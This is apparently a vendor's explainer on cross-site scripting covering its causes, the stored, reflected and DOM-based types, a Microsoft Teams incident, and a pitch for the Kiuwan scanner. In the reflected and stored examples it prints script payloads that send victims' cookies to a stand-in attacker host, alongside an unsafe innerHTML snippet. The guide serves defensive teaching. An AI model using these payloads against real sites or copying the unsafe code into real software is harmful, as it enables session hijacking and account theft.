Cross-site scripting (XSS) is a web security vulnerability in which threat actors inject malicious scripts into web pages. Although it has been known for decades, it still impacts modern software, including SaaS dashboards, fintech platforms, healthcare apps, and even government services that people rely on every day.
Like other well-known software errors, XSS can lead to session hijacking, credential theft, regulatory violations, and reputational damage. The fallout often includes lawsuits, fines, lost customers, and long-term trust issues—making it one of the most costly web vulnerabilities to ignore.
This guide covers what XSS is, why it matters, and how to prevent it. It also shows how application security tools like Kiuwan help security teams find vulnerabilities before attackers can.
XSS lets attackers inject, store, and run malicious code in users’ browsers. It can cause session hijacking, credential theft, and user impersonation. Common causes of XSS include the following.
When applications accept user input without checks, attackers can slip in malicious content. For example, a search box that accepts <script> tags becomes a direct vector for XSS. Developers sometimes skip validation for speed, but this creates an easy opening. You can reduce risk by enforcing strict rules on input types, such as only numbers in numeric fields.
XSS happens when untrusted input is reflected into the page as executable code. For example, a username containing <script> will run rather than display. Output encoding ensures characters like < and > are rendered safely.
Using unsafe JavaScript functions like innerHTML or document.write. These functions insert strings directly into the Document Object Model (DOM), which means injected scripts run automatically. Developers often use them for convenience when updating content dynamically. If user input flows into these functions unfiltered, it becomes a direct XSS risk. Safer alternatives include textContent or framework-level data binding.
Legacy code in JSP, ASP, or PHP often lacks modern protections. When mixed with frameworks like React or Angular, inconsistent sanitization rules can reintroduce vulnerabilities. For example, partially sanitized data from legacy code may still be rendered dangerously in modern front ends. Developers must apply consistent sanitization rules to reduce XSS risk. Sanitization means cleaning the input by removing or escaping risky characters like < and >, as well as stripping out scripts or tags that could carry malicious code.
Here’s an example of how a reflected XSS attack might unfold step by step:
1. The threat actor creates a malicious URL containing a payload:
https://example.com/search?q=<script>document.location=’https://hacker.com?cookie=’+document.cookie</script>
2. The application injects the q parameter into the HTML response without encoding:
<div>Search results for: <script>document.location=’https://hacker.com?cookie=’+document.cookie</script></div>
3. When the victim clicks the link, the browser runs the embedded script. The user sees no obvious signs of compromise, so the attack goes unnoticed.
4. The threat actor gets the victim’s browser-accessible data through an exfiltration endpoint.
XSS is one of the most common risks in modern web security. It remains part of the OWASP Top 10 and is now included under A03: Injection (2021) alongside SQL injection and other input-handling flaws.
For attackers, XSS is rarely the final goal. It’s usually the first step in a longer chain of attacks. Once XSS causes malicious code to run in a user’s browser, attackers can:
These attacks damage trust, expose you to regulatory action, and can lead to lawsuits or crippling financial losses. In fields like SaaS and fintech, customer trust matters. Just one XSS incident can scare away customers and harm your reputation for a long time.
Here’s a real-world example that illustrates the dangers of XSS. In 2020, researchers discovered a flaw in the web and desktop versions of Microsoft Teams. A seemingly harmless GIF could steal authentication tokens when viewed in chat. Victims didn’t need to click on the GIF; viewing it was enough. Attackers could use those tokens to take over entire Teams accounts, giving them access to files, calendars, and communications throughout an organization.
This incident showed that even platforms like Microsoft Teams can have XSS vulnerabilities, and the effects can quickly spread across any company.
To protect against XSS, security teams and developers need to know the three main types of XSS vulnerabilities: stored, reflected, and DOM-based. Each has a different attack path and requires a different prevention strategy.
Stored (persistent) XSS, also known as Stored XSS or persistent XSS, is the most severe type of XSS. In this type, the attacker’s malicious input is saved by the application—often in a database or server log—and sent to every user who views the affected page.
Since the system remembers the payload, stored XSS doesn’t rely on tricking individual victims into clicking on a malicious link. Instead, anyone who loads the compromised page runs the attacker’s script.
As an example, imagine a public comment section on a forum. An attacker might submit a comment containing:
<script>document.location=’http://hacker.com/steal?c=’+document.cookie</script>
Every time users open that page, their browser executes the script and sends their session cookie to the attacker. If the target is an internal dashboard or an administrator panel, the consequences can include complete account takeover or control over sensitive business data.
Stored XSS is very harmful on platforms with many users. One injected payload can impact hundreds or even thousands of accounts.
Reflected XSS attacks are more common than stored XSS but usually less severe. Instead of being stored by the application, the malicious input is immediately reflected in the HTTP response. This typically happens through query parameters, search fields, or form submissions. The attack only works if the victim interacts with a crafted link or form. As such, phishing campaigns are a common delivery method.
For example, consider a login page that includes an error message with user-supplied input:
https://victim.com/login?error=<script>alert(‘XSS’)</script>
If the application reflects the error parameter directly into the page without encoding, the script runs as soon as the user loads the link. The attacker needs to find a way to get the victim to click. However, once they do, the injected code can perform the same actions as stored XSS—stealing session tokens, capturing keystrokes, or redirecting to a fake login page.
DOM-based XSS happens when an app uses data from an untrusted source and modifies the DOM without proper sanitization or validation. Since the DOM is updated directly, the browser can run malicious JavaScript instead of treating the data as plain text. This allows attackers to steal sensitive information or hijack user accounts.
Here’s an unsafe example:
var search = location.hash.substring(1);
document.getElementById(“results”).innerHTML = search;
If a user visits:
http://site.com#<img src=x onerror=alert(‘DOM-XSS’)>
The payload runs immediately. Unlike stored or reflected XSS, this attack happens entirely in the client-side code. The malicious input never reaches the server, which makes it harder to catch with traditional security tools. This is why relying on functions like innerHTML is risky—unless the input is sanitized, you are effectively handing attackers a way to run their own scripts inside your application.
XSS often happens because developers take shortcuts when handling input or building pages. Fortunately, most XSS attacks can be stopped in the following ways:
To protect your tech stack from cross-site scripting and other common vulnerabilities, your cybersecurity team must identify issues before attackers do. Here are several methods for scanning code vulnerabilities:
Building security into the development process is one of the best ways to identify and prevent common web vulnerabilities like XSS.
That’s where Kiuwan comes in. Static application security testing (SAST) scans your code for unsafe input handling, risky functions like innerHTML, and missing output encoding. Kiuwan also includes software composition analysis (SCA) to flag third-party libraries with known XSS vulnerabilities.
What’s more, with Kiuwan, teams can enforce standards for their specific industry, whether the Payment Card Industry Data Security Standard (PCI DSS) in finance or the Health Insurance Portability and Accountability Act (HIPAA) in healthcare. Kiuwan integrates seamlessly into CI/CD pipelines, automatically scanning every commit and flagging unsafe code before production. By catching vulnerabilities early, teams reduce the cost of fixes and maintain compliance with frameworks like OWASP Top 10 and CWE-79.
Ready to see how Kiuwan can help secure your code against XSS and other common vulnerabilities? Request a free trial to see how Kiuwan can empower your DevSec teams.
Yes, XSS is still a risk with modern frameworks. Modern frameworks like React, Vue, and Angular escape input by default, which lowers risk. But XSS can still happen if you misuse features like React’s dangerouslySetInnerHTML.
A WAF can sometimes stop XSS, especially well-known or simple patterns. But attackers often find ways to bypass filters. To protect your organization, you should fix the code itself.
Stored XSS is the most dangerous since it’s saved by the system and runs for every user who views the page. Unlike reflected XSS, which requires tricking a victim into clicking, stored XSS spreads automatically to many users simultaneously.
Yes. XSS can expose personal or financial data, leading to violations of standards such as PCI DSS, HIPAA, or ISO 27001. That can trigger audits, fines, lawsuits, or even loss of certification. Compliance is one more reason why preventing XSS should be a priority.
